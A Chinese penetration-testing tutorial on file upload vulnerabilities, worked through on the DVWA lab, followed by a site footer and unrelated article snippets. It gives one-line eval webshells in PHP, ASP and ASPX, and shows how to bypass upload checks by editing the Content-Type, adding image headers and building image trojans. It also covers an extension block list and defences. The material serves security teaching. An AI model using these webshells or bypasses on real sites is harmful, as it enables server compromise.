渗透测试漏洞原理之---【任意文件上传漏洞】

文章目录

      • 1、任意文件上传概述
        • 1.1、漏洞成因
        • 1.2、漏洞危害
      • 2、WebShell解析
        • 2.1、Shell
        • 2.2、WebShell
          • 2.2.1、大马
          • 2.2.2、小马
          • 2.2.3、GetShell
      • 3、任意文件上传攻防
        • 3.1、毫无检测
          • 3.1.1、源代码
          • 3.1.2、代码审计
          • 3.1.3、靶场试炼
        • 3.2、黑白名单策略
          • 3.2.1、文件检测
          • 3.2.2、后缀名黑名单
          • 3.2.3、后缀名白名单
        • 3.3、文件类型检测
          • 3.3.1、源代码
          • 3.3.2、代码审计
          • 3.3.3、靶场 试炼
        • 3.4、文件名、后缀名或检测内容
          • 3.4.1、源代码
          • 3.4.2、代码审计
          • 3.4.3、靶场试炼
          • 3.4.4、==文件幻数==
        • 3.5、图片木马
          • 3.5.1、使用CMD命令
          • 3.5.2靶场High级别试炼
        • 3.6、完全防御
          • 3.6.1、源代码
          • 3.6.2、代码审计
        • 3.7、文件上传利用条件
        • 3.8、任意文件上传防御
          • 3.8.1、代码角度
          • 3.8.2、业务角度
          • 3.8.3、Web容器角度
          • 3.8.4、系统角度
          • 3.8.5、服务器部署
        • 4、c0ny1/upload-labs靶场

1、任意文件上传概述

文件上传是web应用必备功能之一,如:头像上传,附件分享登,如果服务器配置不当或者 没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe 程序等等,这就造成了任意文件上传漏洞

1.1、漏洞成因

服务器配置不当,开启了PUT 方法

Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤

在程序开发部署时,没有考虑以下因素,导致限制被绕过:

  • 代码特性;
  • 组件漏洞;
  • Web 容器漏洞;
  • 系统特性;

1.2、漏洞危害

上传恶意代码(文件,程序),并执行恶意代码(文件,程序):

  • 直接上传后门文件并执行,导致网站沦陷;
  • 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。

通过文件上传漏洞获得的网站后门,叫WebShell

2、WebShell解析

2.1、Shell

也叫命令解释器

WindowsLinux
powershellbash
cmdsh
zsh

2.2、WebShell

WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:

  • .php
  • .asp
  • .aspx
  • .jsp
  • .jspx

WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马登

Web容器脚本语言
Apache HTTPDphp
IISasp、aspx、php
Tomcatjsp、jspx
2.2.1、大马

代码量比较大,相对于一句话木马

2.2.2、小马

一句话木马,需要与中国蚁剑配合。

特点:短小精悍,功能强大。

蚁剑三大基本功能:文件管理、虚拟终端、数据库管理

php脚本格式:

<?php @eval($_REQUEST[777])?>
//代码执行函数+传参点

asp脚本格式:

<%eval request("777")%>

aspx脚本格式:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
2.2.3、GetShell

GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。

3、任意文件上传攻防

以DVWA靶场为例

下载地址

配置教程 可以到网上搜

3.1、毫无检测

DVWA/File Upload/Low级别

3.1.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}?> 
3.1.2、代码审计
  • 对文件上传没有做任何过滤
  • 任意文件上传
核心函数  move_uploaded_file  将上传的文件移动到$target_path
3.1.3、靶场试炼

直接上传一句话木马1.php

<?php @eval($_REQUEST[6868])?>

上传的路径:http://192.168.80.139/DVWA-2.0.1/hackable/uploads/1.php

使用WebShell管理工具连接

image-20230829194422773

进入目录管理

image-20230829194455612

3.2、黑白名单策略

黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一

3.2.1、文件检测
  • 文件后缀名
  • 文件类型
  • 文件内容
3.2.2、后缀名黑名单
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",".html",".htm",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".swf",".htaccess"
);
3.2.3、后缀名白名单
$allow_ext = array('jpg','jpeg','png','bmp','gif','svg','zip','tar.gz','doc','docx','pdf','xls','ppt'
);

3.3、文件类型检测

DVWA/File Upload/Medium级别

3.3.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?> 
3.3.2、代码审计
  • 上传的文件没有重命名;
  • Content-Type 类型白名单检测;
  • 任意文件上传
上传的文件类型必须是image/jpeg,或者image/png
3.3.3、靶场 试炼

继续上传1.php,发现对上传的文件后缀做了限制

image-20230829194534582

使用bp抓取数据包

修改文件后缀为2.png,上传失败,说明关键点不在图片的后缀名

修改文件类型Content-Type:image/png,上传成功

image-20230829194726519

3.4、文件名、后缀名或检测内容

DVWA/File Upload/High级别

3.4.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?> 
3.4.2、代码审计
  • 上传文件没有重命名;
  • 文件后缀名白名单检测;
  • 使用getimagesize() 进行文件内容检测,只检测文件头部
3.4.3、靶场试炼

继续上传一句话木马1.php,上传失败,使用bp抓取数据包

image-20230829194823683

发现对文件后缀,文件类型,文件内容都做了限制

在文件内容处加上图片的头部标识GIF8a

3.4.4、文件幻数

image-20230829200521186

只要是JPG文件,那么该文件的十六进制头部就是FF D8 FF E0

图片头部验证

hexdump   1.jpg

image-20230829200926286

3.5、图片木马

3.5.1、使用CMD命令
copy imgName/b+yjh/a newImgNamecopy 1.png/b+1.php/a  2.png

说明:

  • 图片木马没有办法直接利用,需要配合其他漏洞
  • 图片木马中包含了恶意代码
3.5.2靶场High级别试炼

准备一张小一点的图片1.jpg,还有一句话木马1.php

<?php @eval($_REQUEST[6868])?>

使用cmd命令将图片和代码合成一个文件

copy 1.jpg/b+1.php/a 2.jpg

image-20230829195714830

上传2.jpg

image-20230829195758766

上传成功 ,如果想要访问的话需要和其他漏洞一起使用

DVWA File Upload相关博客

Pikachu靶场 Unsafe upfileupload ||||||||||||||||getimagesize这关提供了两个方式,方式一:制作图片头部表示,方式二:使用cmd命令制作 图片木马


3.6、完全防御

DVWA/File Upload/Impossible级别

3.6.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?> 
3.6.2、代码审计
  • 检测Token 值,防止数据包重放;
  • 文件重命名;
  • 文件后缀名白名单检测;
  • 文件类型白名单检测;
  • 文件内容头部检测;
  • 二次渲染,生成新文件;
  • 删除缓存文件

3.7、文件上传利用条件

文件上传漏洞完美利用,受到以下条件限制:

  • Web 服务器开启文件上传功能,Web 用户可以使用该功能
  • Web 用户对目标目录具有可写权限,甚至具有执行权限。一般情况下Web 目录都有执行权限
  • 完美利用意味着文件可以执行,也就是说代码可以被服务器解析
  • 服务器开启了PUT 方法

3.8、任意文件上传防御

3.8.1、代码角度
  • 采用白名单策略,严格限制上传文件的后缀名;
  • 上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;
  • 文件内容检测
  • 进行二次渲染,过滤掉图片马中的恶意代码;
  • 避免文件包含漏洞;
  • 严格处理文件路径,防御00 截断漏洞;
  • 检测Token 值,防止数据包重放
3.8.2、业务角度
  • 强口令策略,避免恶意攻击者登录网站后台;
  • 尽量避免Web 用户修改上传白名单
3.8.3、Web容器角度
  • 及时更新Web 容器,防止解析漏洞产生。
  • 禁用Web 容器PUT 方法

现在的服务器已经把PUT方法关闭掉了,

但是也需要知道有这么个东西

3.8.4、系统角度

避开空格、点 . ::$DATA 等系统特性

linux系统下是允许文件名末尾存在 空格的

3.8.5、服务器部署
  • 严格控制权限,执行权限与写权限分离。
  • 建立单独的文件存储服务器,类似于站库分离

4、c0ny1/upload-labs靶场

c0ny1/upload-labs-github地址

下载地址

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/64905.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

论文阅读_扩散模型_LDM

英文名称: High-Resolution Image Synthesis with Latent Diffusion Models 中文名称: 使用潜空间扩散模型合成高分辨率图像 地址: https://ieeexplore.ieee.org/document/9878449/ 代码: https://github.com/CompVis/latent-diffusion 作者&#xff1a;Robin Rombach 日期: 20…

.netcore grpc日志记录配置

一、日志记录配置概述 通过配置文件appsettings.json进行配置通过Program.cs进行配置通过环境变量进行配置客户端通过日志通道进行配置 二、实战案例 配置环境变量:Logging__LogLevel__GrpcDebug配置Appsettings.json配置Program.cs配置客户端工厂以上截图是目前为止已知的可…

【操作系统】一文快速入门,很适合JAVA后端看

作者简介&#xff1a; 目录 1.概述 2.CPU管理 3.内存管理 4.IO管理 1.概述 操作系统可以看作一个计算机的管理系统&#xff0c;对计算机的硬件资源提供了一套完整的管理解决方案。计算机的硬件组成有五大模块&#xff1a;运算器、控制器、存储器、输入设备、输出设备。操作…

ubuntu22.04搭建verilator仿真环境

概述 操作系统为 Ubuntu(22.04.2 LTS)&#xff0c;本次安装verilator开源verilog仿真工具&#xff0c;进行RTL功能仿真。下面构建版本为5.008的verilator仿真环境。先看一下我系统的版本&#xff1a; 安装流程 安装依赖 sudo apt-get install git perl python3 make autoc…

多级缓存 架构设计

说在前面 在40岁老架构师 尼恩的读者社区(50)中&#xff0c;很多小伙伴拿到一线互联网企业如阿里、网易、有赞、希音、百度、网易、滴滴的面试资格&#xff0c;多次遇到一个很重要的面试题&#xff1a; 20w的QPS的场景下&#xff0c;服务端架构应如何设计&#xff1f;10w的QPS…

【原创】鲲鹏ARM构架openEuler操作系统安装Oracle 19c

作者:einyboy 【原创】鲲鹏ARM构架openEuler操作系统安装Oracle 19c | 云非云计算机科学、自然科学技术科谱http://www.nclound.com/index.php/2023/09/03/%E3%80%90%E5%8E%9F%E5%88%9B%E3%80%91%E9%B2%B2%E9%B9%8Farm%E6%9E%84%E6%9E%B6openeuler%E6%93%8D%E4%BD%9C%E7%B3%BB%…

FPGA优质开源项目 – UDP万兆光纤以太网通信

本文开源一个FPGA项目&#xff1a;UDP万兆光通信。该项目实现了万兆光纤以太网数据回环传输功能。Vivado工程代码结构和之前开源的《UDP RGMII千兆以太网》类似&#xff0c;只不过万兆以太网是调用了Xilinx的10G Ethernet Subsystem IP核实现。 下面围绕该IP核的使用、用户接口…

LLMs NLP模型评估Model evaluation ROUGE and BLEU SCORE

在整个课程中&#xff0c;你看到过类似模型在这个任务上表现良好&#xff0c;或者这个微调模型在性能上相对于基础模型有显著提升等陈述。 这些陈述是什么意思&#xff1f;如何形式化你的微调模型在你起初的预训练模型上的性能改进&#xff1f;让我们探讨一些由大型语言模型开…

TypeScript学习 + 贪吃蛇项目

TypeSCript简介 TypeScript是JavaScript的超集。它对JS进行了扩展&#xff0c;向JS中引入了类型的概念&#xff0c;并添加了许多新的特性。TS代码需要通过编译器编译为JS&#xff0c;然后再交由JS解析器执行。TS完全兼容JS&#xff0c;换言之&#xff0c;任何的JS代码都可以直…

MySQL高阶语句(三)

一、NULL值 在 SQL 语句使用过程中&#xff0c;经常会碰到 NULL 这几个字符。通常使用 NULL 来表示缺失 的值&#xff0c;也就是在表中该字段是没有值的。如果在创建表时&#xff0c;限制某些字段不为空&#xff0c;则可以使用 NOT NULL 关键字&#xff0c;不使用则默认可以为空…

Multisim14.0仿真(五)三角波发生器

一、仿真原理图&#xff1a; 二、仿真效果&#xff1a;

Three.js相机参数及Z-Fighting问题的解决方案

本主题讨论透视相机以及如何为远距离环境设置合适的视锥体。 推荐&#xff1a;用 NSDT编辑器 快速搭建可编程3D场景 透视相机是一种投影模式&#xff0c;旨在模仿人类在现实世界中看待事物的方式。 这是渲染 3D 场景最常用的投影模式。 - three.js 如果你看一下 Three.js 文档…

单元测试:优雅编写Kotlin单元测试

一、MockK简介 MockK是一款功能强大、易于使用的Kotlin mocking框架。在编写单元测试时&#xff0c;MockK能够帮助我们简化代码、提高测试覆盖率&#xff0c;并改善测试的可维护性。除了基本用法外&#xff0c;MockK还提供了许多额外的功能和灵活的用法&#xff0c;让我们能够…

go语言基础操作--二

a : 10str : "mike"//匿名函数&#xff0c;没有函数名字 形成一个闭包,函数定义&#xff0c;还没有调用f1 : func() { //:自动推到类型fmt.Println("a ", a)fmt.Println("str ", str)}f1()//给一个函数类型起别名 这个写法不推荐type FuncType …

04. 函数和函数调用机制

1. 先学习/复习C语言的入门知识 1.1 C语言简介 C语言是一种通用的编程语言&#xff0c;于1972年由丹尼斯里奇&#xff08;Dennis Ritchie&#xff09;创建。C语言最初目的是为了开发UNIX操作系统&#xff0c;但由于其简洁的语法、快速的执行速度和可移植性&#xff0c;自此成…

【Python数据分析】数据分析之numpy基础

实验环境&#xff1a;建立在Python3的基础之上 numpy提供了一种数据类型&#xff0c;提供了数据分析的运算基础&#xff0c;安装方式 pip install numpy导入numpy到python项目 import numpy as np本文以案例的方式展示numpy的基本语法&#xff0c;没有介绍语法的细枝末节&am…

ZooKeeper基础命令和Java客户端操作

1、zkCli的常用命令操作 &#xff08;1&#xff09;Help &#xff08;2&#xff09;ls 使用 ls 命令来查看当前znode中所包含的内容 &#xff08;3&#xff09;ls2查看当前节点数据并能看到更新次数等数据 &#xff08;4&#xff09;stat查看节点状态 &#xff08;5&#xf…

【kubernetes】Argo Rollouts -- k8s下的自动化蓝绿部署

蓝绿(Blue-Green)部署简介 在现代软件开发和交付中,确保应用程序的平稳更新和发布对于用户体验和业务连续性至关重要。蓝绿部署是一种备受推崇的部署策略,它允许开发团队在不影响用户的情况下,将新版本的应用程序引入生产环境。 蓝绿部署的核心思想在于维护两个独立的环…

ESP32C3 LuatOS RC522①写入数据并读取M1卡

LuatOS RC522官方示例 官方示例没有针对具体开发板&#xff0c;现以ESP32C3开发板为例。 选用的RC522模块 ESP32C3-CORE开发板 注意ESP32C3的 SPI引脚位置&#xff0c;SPI的id2 示例代码 -- LuaTools需要PROJECT和VERSION这两个信息 PROJECT "helloworld" VERSIO…

前端list列表自定义图标并设置大小

前端list列表自定义图标并设置大小 一、前端list列表基础知识回顾 前端公有两种列表&#xff0c;一种是有序列表&#xff08;ol&#xff09;&#xff0c;一种是无序列表&#xff08;ul&#xff09;&#xff0c;它们的子元素都是&#xff08;li&#xff09;。 1.1 有序列表&a…